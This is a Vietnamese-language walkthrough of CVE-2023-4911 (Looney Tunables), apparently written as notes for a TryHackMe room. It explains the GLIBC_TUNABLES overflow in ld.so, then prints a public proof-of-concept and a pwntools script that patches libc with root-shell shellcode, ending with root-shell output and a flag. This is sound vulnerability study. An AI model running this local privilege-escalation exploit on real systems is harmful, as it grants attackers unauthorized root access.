Introduction

Là một lỗ hổng được phát hiện vào ngày 3 tháng 10 năm 2023 liên quan đến một khuyết điểm bảo mật nghiêm trọng trong dynamic linking loader của GNU (ld.so). Lỗ hổng này cho phép kẻ tấn công leo thang đặc quyền.

Lỗ hổng tồn tại trong glibc từ phiên bản 2.34 đến commit 2ed18c. Các bản phân phối Linux chẳng hạn như RHEL, Ubuntu, Fedora, Debian, Amazon Linux và các bản phân phối khác sử dụng glibc đều bị ảnh hưởng.

Background

What is ld.so?

Khi thực thi một file ELF mà phụ thuộc vào các thư viện chia sẻ (các file .so), hệ điều hành sẽ sử dụng dynamic linking loader để tìm nạp các thư viện và liên kết với file thực thi.

Mỗi file ELF đều có một section có tên là .interp giúp chỉ định dynamic linking loader mà chương trình sử dụng để nạp các thư viện chia sẻ. Đa số các hệ thống Linux sử dụng ld.so (có thể có một chút sự khác biệt trong tên file) làm dynamic linking loader. Đây là một file thực thi được đóng gói sẵn như là một phần của thư viện glibc.

Để kiểm tra section .interp, ta có thể dùng lệnh readelf như sau:

readelf /usr/bin/man -p .interp
 
String dump of section '.interp':
  [     0]  /lib64/ld-linux-x86-64.so.2

Chúng ta cũng có thể kiểm tra danh sách các thư viện mà chương trình man sử dụng bằng lệnh ldd:

ldd /usr/bin/man
 
linux-vdso.so.1 (0x00007fff5ddde000)
libmandb-2.12.0.so => /usr/lib/man-db/libmandb-2.12.0.so (0x00007f025009b000)
libman-2.12.0.so => /usr/lib/man-db/libman-2.12.0.so (0x00007f0250068000)
libz.so.1 => /lib/x86_64-linux-gnu/libz.so.1 (0x00007f0250036000)
libpipeline.so.1 => /lib/x86_64-linux-gnu/libpipeline.so.1 (0x00007f0250025000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f024fe43000)
libgdbm.so.6 => /lib/x86_64-linux-gnu/libgdbm.so.6 (0x00007f024fe2e000)
libseccomp.so.2 => /lib/x86_64-linux-gnu/libseccomp.so.2 (0x00007f024fe0e000)
/lib64/ld-linux-x86-64.so.2 (0x00007f02501c4000)

Using DT_RPATH to Influence the Library Search Path

Thông thường, ld.so sẽ tìm nạp các thư viện chia sẻ ở một số vị trí nhất định trong hệ thống, bao gồm cả thư mục /lib1. Tuy nhiên, chúng ta cũng có thể chỉ định thêm thư mục chứa thư viện chia sẻ mà ld.so sẽ tìm kiếm bằng cách sử dụng thuộc tính option rpath khi biên dịch chương trình.

Về bản chất, rpath sẽ thêm một optional entry có tên là DT_RPATH vào section .dynamic. Entry này sẽ chứa đường dẫn được encode của thư mục có chứa các thư viện chia sẻ. Đường dẫn này có thể ghi đè hoặc bổ sung vào các đường dẫn mặc định của dynamic linking loader.

Ví dụ:

gcc -Wl,--enable-new-dtags -Wl,-rpath=/tmp -o myapp myapp.c

Trong ví dụ trên, khi ld.so tìm nạp các thư mục chia sẻ, nó sẽ tìm ở trong thư mục /tmp trước tiên.

Modifying glibc Behaviour via GLIBC_TUNABLES

Lập trình viên có thể điều chỉnh hành vi của chương trình thông qua các tunable, được cấu hình thông qua biến môi trường GLIBC_TUNABLES. Ví dụ:

GLIBC_TUNABLES="malloc.check=1:malloc.tcache_max=128"

Tunable là một loại tham số của kernel mà có thể thay đổi trong runtime. Chúng có thể thay đổi các thuộc tính hoặc quyền hạn của tiến trình chẳng hạn như các đặc quyền của một chương trình SUID.

Analysis

__tunables_init()

Khi được thực thi, ld.so sẽ gọi hàm __tunables_init() để tìm các biến môi trường GLIBC_TUNABLES:

/* Initialize the tunables list from the environment.  For now we only use the
   ENV_ALIAS to find values.  Later we will also use the tunable names to find
   values.  */
void
__tunables_init (char **envp)
{
  char *envname = NULL;
  char *envval = NULL;
  size_t len = 0;
  char **prev_envp = envp;
 
  maybe_enable_malloc_check ();
 
  while ((envp = get_next_env (envp, &envname, &len, &envval,
			       &prev_envp)) != NULL)
    {
      if (tunable_is_name (GLIBC_TUNABLES, envname))
	{
	  char *new_env = tunables_strdup (envname);
	  if (new_env != NULL)
	    parse_tunables (new_env + len + 1, envval);
	  /* Put in the updated envval.  */
	  *prev_envp = new_env;
	  continue;
	}

Với mỗi biến GLIBC_TUNABLES tìm được, nó sẽ tạo ra một bản sao bằng hàm tunables_strdup(), gọi hàm parse_tunables() để phân tách và làm sạch giá trị của bản sao rồi gán lại cho GLIBC_TUNABLES.

tunables_strdup()

Code của hàm tunables_strdup():

static char * 
tunables_strdup (const char *in)
{
  size_t i = 0;
 
  while (in[i++] != '\0');
  char *out = __minimal_malloc (i + 1);
 
  /* For most of the tunables code, we ignore user errors.  However,
     this is a system error - and running out of memory at program
     startup should be reported, so we do.  */
  if (out == NULL)
    _dl_fatal_printf ("failed to allocate memory to process tunables\n");
 
  while (i-- > 0)
    out[i] = in[i];
 
  return out;
}

Có thể thấy, hàm tunables_strdup() dùng vòng lặp while (in[i++] != '\0'); để tính kính thước của chuỗi in rồi cấp phát vùng nhớ thông qua hàm __minimal_malloc(). Vòng lặp while cuối cùng là để sao chép giá trị từ chuỗi in vào chuỗi out.

parse_tunables()

Hàm parse_tunables() có hai tham số:

static void
parse_tunables(char *tunestr, char *valstring)

Tham số đầu tiên là con trỏ trỏ đến bản sao sắp được làm sạch của GLIBC_TUNABLES và tham số thứ hai là con trỏ trỏ đến giá trị gốc của GLIBC_TUNABLES.

Để làm sạch bản sao của GLIBC_TUNABLES (có dạng tunable1=aaa:tunable2=bbb), parse_tunables() xóa tất cả các tunable nguy hiểm chẳng hạn như SXID_ERASE khỏi tunestr nhưng giữ lại SXID_IGNORENONE.

Code của hàm parse_tunables():

static void
parse_tunables(char *tunestr, char *valstring)
{
    char *p = tunestr; // Pointer to iterate through the tunestr
    size_t off = 0;    // Offset for building the new tunestr
 
    while (true)
    {
        char *name = p;
        size_t len = 0;
 
        /* Find the end of the tunable name (before = or : or the null character) */
        while (p[len] != '=' && p[len] != ':' && p[len] != '\0')
            len++;
 
        /* If we reach the end of the string without a name-value pair, exit */
        if (p[len] == '\0')
        {
            // In secure context, ensure tunestr is null-terminated
            if (__libc_enable_secure)
                tunestr[off] = '\0';
            return;
        }
 
        /* Colon (:) separator indicates invalid name-value pair, skip */
        if (p[len] == ':')
        {
            p += len + 1; // Move pointer and continue parsing
            continue;
        }
 
        p += len + 1; // Move pointer to the start of the value
 
        /* Extract value from valstring (uses original string for NULL termination) */
        char *value = &valstring[p - tunestr]; // Value starts at same offset in valstring
        len = 0;
 
        // Find the end of the value (before : or null character)
        while (p[len] != ':' && p[len] != '\0')
            len++;
 
        /* Loop through all defined tunables */
        for (size_t i = 0; i < sizeof(tunable_list) / sizeof(tunable_t); i++)
        {
            tunable_t *cur = &tunable_list[i];
 
            // Check if current tunable name matches the parsed name
            if (tunable_is_name(cur->name, name))
            {
                /* Secure context (AT_SECURE): only process allowed tunables */
                if (__libc_enable_secure)
                {
                    // Skip tunables marked for removal (SXID_ERASE)
                    if (cur->security_level != TUNABLE_SECLEVEL_SXID_ERASE)
                    {
                        // Append colon (:) if not the first tunable
                        if (off > 0)
                            tunestr[off++] = ':';
 
                        // Copy the tunable name from cur->name
                        const char *n = cur->name;
                        while (*n != '\0')
                            tunestr[off++] = *n++;
 
                        // Append equal sign (=)
                        tunestr[off++] = '=';
 
                        // Copy the value from valstring
                        for (size_t j = 0; j < len; j++)
                            tunestr[off++] = value[j];
                    }
 
                    // Only process non-NONE tunables in secure context
                    if (cur->security_level != TUNABLE_SECLEVEL_NONE)
                        break;
                }
 
                // Non-secure context: process all tunables
                value[len] = '\0'; // Null terminate the value
                tunable_initialize(cur, value);
                break;
            }
        }
 
        // If no matching tunable found, continue parsing the next one
        if (p[len] != '\0')
            p += len + 1;
    }
}

Giải thích các biến:

  • p: con trỏ dùng để duyệt qua tunestr.
  • name: trỏ đến tunable name.
  • len: chứa các loại kích thước.

Quy trình hoạt động:

  • Tìm vị trí kết thúc của tunable name (dòng 12-30).
  • Di chuyển con trỏ p đến ký tự đầu tiên của tunable value: p += len + 1;.
  • Lấy ra giá trị của tunable từ giá trị gốc của GLIBC_TUNABLES tại địa chỉ vùng nhớ p - tunestr (char *value = &valstring[p - tunestr];)
  • Tìm vị trí kết thúc của tunable value (dòng 39-40).
  • Vòng lặp for lặp qua tất cả các tunable đã được định nghĩa và tìm tunable có tên trùng với name. Khi tìm được thì hàm parse_tunables() sẽ xử lý như sau:
    • Nếu chương trình chạy trong ngữ cảnh an toàn thì nó sẽ chỉ xử lý những tunable được phép:
      • Điều kiện cur->security_level != TUNABLE_SECLEVEL_SXID_ERASE giúp bỏ qua các tunable nguy hiểm chẳng hạn như SXID_ERASE. Nếu tunable không thuộc loại này, hàm parse_tunables() sẽ tiến hành chép tunable vào tunestr (đã bị xóa trước đó trong quá trình xử lý):
      • Điều kiện cur->security_level != TUNABLE_SECLEVEL_NONE giúp ngắt vòng lặp nếu tunable không thuộc loại NONE. Điều này khiến cho tunable không được ghi lại vào tunestr.
    • Gán ký tự cuối cùng của tunable value là ký tự rỗng để ngắt tunable trước đó.
  • Nếu không tìm thấy tunable nào có tên trùng với name và chưa kết thúc chuỗi các tunable, di chuyển con trỏ đến ký tự đầu tiên của tunable kế tiếp.

Vulnerability

Lỗ hổng xảy ra khi GLIBC_TUNABLES chứa các giá trị không mong đợi chẳng hạn như tunable1=tunable2=AAA với tunable1tunable2 là các SXID_IGNORE tunable chẳng hạn như glibc.malloc.mxfast.

Các bước làm tràn bộ đệm:

  • Trong lần lặp đầu tiên của vòng lặp while(true) trong hàm parse_tunables(), toàn bộ chuỗi tunable1=tunable2=AAA sẽ được sao chép vào tunestr và làm đầy vùng nhớ đã được cấp phát trong hàm tunables_strdup().
  • Do không tồn tại ký tự :, giá trị của p[len] trước vòng lặp for sẽ là \0 thay vì :. Dẫn đến, sau khi kết thúc vòng lặp for, giá trị của p[len] sẽ không thỏa được điều kiện if (p[len] != '\0'). Điều này khiến cho con trỏ p vẫn trỏ đến ký tự đầu tiên của tunable value (giá trị tunable2=AAA).
  • Ở lần lặp thứ hai, giá trị tunable2=AAA sẽ được sao chép vào tunestr và gây ra tràn bộ nhớ đệm.

Minh họa từ KernelKrise/CVE-2023-4911:

Exploitation

Question

Cần ghi đè lên thứ gì để có thể thực thi code tùy ý?

Như đã biết, bộ nhớ đệm mà ta làm tràn được cấp phát trong hàm tunables_strdup(). Hàm này là một re-implementation của hàm strdup() và sử dụng hàm __minimal_malloc() của ld.so thay vì hàm malloc() của glibc để cấp phát bộ nhớ. Hàm __minimal_malloc() chỉ đơn giản gọi hàm mmap() để lấy thêm bộ nhớ từ kernel.

Có một cách tiếp cận như sau: do hàm __tunables_init() có thể xử lý nhiều biến môi trường GLIBC_TUNABLES nên ta có thể không làm tràn bộ nhớ đệm của biến đầu tiên nhưng làm tràn bộ nhớ đệm của biến thứ hai và ghi đè vào biến thứ nhất. Khi đó, sẽ có một vài trường hợp xảy ra:

  • Chúng ta có thể thay thế toàn bộ biến đầu tiên bằng một biến môi trường khác chẳng hạn như LD_PRELOAD hoặc LD_LIBRARY_PATH. Tuy nhiên, các biến môi trường nguy hiểm này sẽ bị xóa bởi hàm process_envvars() của ld.so,
  • Chúng ta có thể thay thế các tunable trong biến đầu tiên thành các tunable nguy hiểm chẳng hạn như SXID_ERASE. Mặc dù điều này có vẻ hứa hẹn nhưng ta cần một chương trình sử dụng setuid(0)execv() mà có thể xử lý các tunable nguy hiểm dưới quyền root nhưng không có __libc_enable_secure. Không có chương trình nào trên Linux thỏa mãn điều kiện này.

Xét đoạn code sau của hàm _dl_new_object():

struct link_map *
_dl_new_object(char *realname, const char *libname, int type,
               struct link_map *loader, int mode, Lmid_t nsid)
{
 
    struct link_map *new;
    struct libname_list *newname;
 
    new = (struct link_map *)calloc(sizeof(*new) + audit_space + sizeof(struct link_map *) + sizeof(*newname) + libname_len, 1);
    if (new == NULL)
        return NULL;
 
    new->l_real = new;
    new->l_symbolic_searchlist.r_list = (struct link_map **)((char *)(new + 1) + audit_space);
 
    new->l_libname = newname = (struct libname_list *)(new->l_symbolic_searchlist.r_list + 1);
    newname->name = (char *)memcpy(newname + 1, libname, libname_len);
    /* newname->next = NULL;      We use calloc therefore not necessary.  */
 

Có thể thấy, ld.so cấp phát bộ nhớ cho cấu trúc link_map thông qua hàm calloc() nhưng không khởi tạo giá trị ban đầu cho một số thuộc tính một cách tường minh. Về bản chất, calloc() được sử dụng trong _dl_new_object không phải là calloc() của glibc mà là __minimal_calloc() của ld.so. Hàm __minimal_calloc() thực hiện gọi đến hàm __minimal_malloc() và hàm này trả về một vùng nhớ trống của mmap() mà được đảm bảo là sẽ được khởi tạo bởi kernel.

Chúng ta có thể thực hiện buffer overflow để ghi đè vùng nhớ trả về từ mmap() bằng các byte khác 0. Điều này giúp ta ghi đè các con trỏ bên trong struct link_map trước khi nó được khởi tạo.

Trong số những con trỏ không được khởi tạo thì ta có thể sử dụng con trỏ l_info[DT_RPATH] có giá trị là đường dẫn tìm kiếm thư viện. Nếu chúng ta có thể ghi đè con trỏ này thì có thể ép ld.so tin cậy một đường dẫn đến các thư viện giả mạo có chứa shell code giúp thực thi lệnh tùy ý (dưới quyền root nếu ta chạy chương trình SUID-root).

Overflow Idea later

Question

Vị trí của l_info[DT_RPATH] là ở đâu để ta có thể ghi đè?

Câu trả lời đơn giản là stack mà chính xác hơn là các chuỗi biến môi trường trên stack. Trên Linux, stack được random trong một vùng có kích thước là 16GB và các chuỗi biến môi trường có thể chiếm đến 6MB. Sau 16GB / 6MB = 2730 lần thử, chúng ta có thể đoán được địa chỉ vùng nhớ của các chuỗi biến môi trường.

Question

Cần ghi gì vào vùng nhớ 6MB của l_info[DT_RPATH]?

Con trỏ l_info[DT_RPATH] trỏ đến một cấu trúc Elf64_Dyn nhỏ bao gồm hai thuộc tính sau:

  • int64_t d_tagDT_RPATH và giá trị của nó không được kiểm tra ở bất kỳ đâu trong chương trình nên ta có thể lưu bất kỳ giá trị nào vào đây.
  • uint64_t d_val là offset đến ELF string table của chương trình SUID-root đang được thực thi.

Chúng ta có thể làm đầy bộ nhớ 6MB của l_info[DT_RPATH] bằng giá trị 0xfffffffffffffff8 (-8) bởi vì tại offset -8B ở hầu hết chương trình SUID-root sẽ có chuỗi \0x8 xuất hiện. Điều này khiến cho ld.so tin cậy một thư mục có đường dẫn tương đối là \x08 và cho phép chúng ta nạp thư viện có chứa shell code bằng quyền root.

Giá trị được ghi tràn ra bên ngoài buffer trong hàm parse_tunables() cũng được truy cập tại dòng tunestr[off++] = value[j];. Nếu chúng ta có thể lưu một lượng lớn các byte rỗng, chuỗi \x10\xf0\xff\xff\xfd\x7f và các byte rỗng khác ở sau vùng nhớ của GLIBC_TUNABLES ở trên stack thì ta có thể ghi đè các thuộc tính bên trong cấu trúc link_map bằng các con trỏ rỗng ngoại trừ l_info[DT_RPATH]. Đối với l_info[DT_RPATH], chúng ta sẽ ghi đè bằng địa chỉ vùng nhớ trỏ đến cấu trúc Elf64_Dyn tùy ý.

Minh họa từ KernelKrise/CVE-2023-4911:

PoC

Sử dụng PoC của leesh3288.

Variables

PoC sử dụng các mảng sau để chứa các biến môi trường GLIBC_TUNABLES và kích hoạt buffer overflow khi chương trình được thực thi:

char filler[FILL_SIZE], kv[BOF_SIZE], filler2[BOF_SIZE + 0x20], dt_rpath[0x20000];

Biến filler giúp đệm ra bên ngoài read-write section của ld.so:

strcpy(filler, "GLIBC_TUNABLES=glibc.malloc.mxfast=");
for (int i = strlen(filler); i < sizeof(filler) - 1; i++)
{
	filler[i] = 'F';
}
filler[sizeof(filler) - 1] = '\0';

Biến kv được dùng để kích hoạt buffer overflow:

strcpy(kv, "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=");
for (int i = strlen(kv); i < sizeof(kv) - 1; i++)
{
	kv[i] = 'A';
}
kv[sizeof(kv) - 1] = '\0';

Biến filler2 có nhiệm vụ tương tự như filler:

strcpy(filler2, "GLIBC_TUNABLES=glibc.malloc.mxfast=");
for (int i = strlen(filler2); i < sizeof(filler2) - 1; i++)
{
	filler2[i] = 'F';
}
filler2[sizeof(filler2) - 1] = '\0';

Biến dt_rpath giúp tạo ra giá trị -0x14ULL nhằm ghi đè các vùng nhớ trong quá trình khai thác:

for (int i = 0; i < sizeof(dt_rpath); i += 8)
{
	*(uintptr_t *)(dt_rpath + i) = -0x14ULL;
}
dt_rpath[sizeof(dt_rpath) - 1] = '\0';

Tất cả các biến trên sẽ được sao chép vào mảng envp, dùng để chứa các biến môi trường:

envp[0] = filler;                               // pads away loader rw section
envp[1] = kv;                                   // payload
envp[0x65] = "";                                // struct link_map ofs marker
envp[0x65 + 0xb8] = "\x30\xf0\xff\xff\xfd\x7f"; // l_info[DT_RPATH]
envp[0xf7f] = filler2;                          // pads away :tunable2=AAA: in between
for (int i = 0; i < 0x2f; i++)
{
	envp[0xf80 + i] = dt_rpath;
}
envp[0xffe] = "AAAA"; // alignment, currently already aligned

Approach

Việc tạo ra thư viện lib6.so giả mạo được thực hiện bằng cách thay thế hàm _libc_start_main với custom shell code setuid(0) + setgid(0) + exec('/bin/sh'). Có thể sử dụng script sau:

#!/usr/bin/env python3
 
from pwn import *
 
context.os = "linux"
context.arch = "x86_64"
 
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
d = bytearray(open(libc.path, "rb").read())
 
sc = asm(shellcraft.setuid(0) + shellcraft.setgid(0) + shellcraft.sh())
 
orig = libc.read(libc.sym["__libc_start_main"], 0x10)
idx = d.find(orig)
d[idx : idx + len(sc)] = sc
 
open("./libc.so.6", "wb").write(d)

PoC trên sử dụng cách tiếp cận thử và sai. Cụ thể, nó liên tục chạy chương trình (forking và executing) với câu lệnh là /usr/bin/su --help đến khi địa chỉ 0x7ffdfffff030 trỏ đến giá trị ". Khi đó, đường dẫn tìm kiếm thư viện sẽ trỏ đến thư mục " mà có chứa phiên bản độc hại của lib6.so.

int pid;
for (int ct = 1;; ct++)
{
	if (ct % 100 == 0)
	{
		printf("try %d\n", ct);
	}
	if ((pid = fork()) < 0)
	{
		perror("fork");
		break;
	}
	else if (pid == 0) // child
	{
		if (execve(argv[0], argv, envp) < 0)
		{
			perror("execve");
			break;
		}
	}
	else // parent
	{
		int wstatus;
		int64_t st, en;
		st = time_us();
		wait(&wstatus);
		en = time_us();
		if (!WIFSIGNALED(wstatus) && en - st > 1000000)
		{
			// probably returning from shell :)
			break;
		}
	}
}

Nếu tiến trình con chạy lâu hơn 1 giây thì đó có thể là dấu hiệu cho việc khai thác thành công:

try 100
try 200
try 300
try 400
try 500
try 600
try 700
try 800
try 900
try 1000
try 1100
try 1200
try 1300
try 1400
try 1500
try 1600
try 1700
try 1800
try 1900
try 2000
try 2100
try 2200
try 2300
try 2400
try 2500
try 2600
try 2700
try 2800
try 2900
try 3000
# id
uid=0(root) gid=0(root) groups=0(root),1001(nopriv)

TryHackMe flag

THM{TH-TH-THATS-SECURE-FOLKS!}

list
from outgoing([[CVE-2023-4911 (Looney Tunables)]])
sort file.ctime asc

Resources

Footnotes

  1. tham khảo thêm ld.so(8) - Linux manual page (man7.org)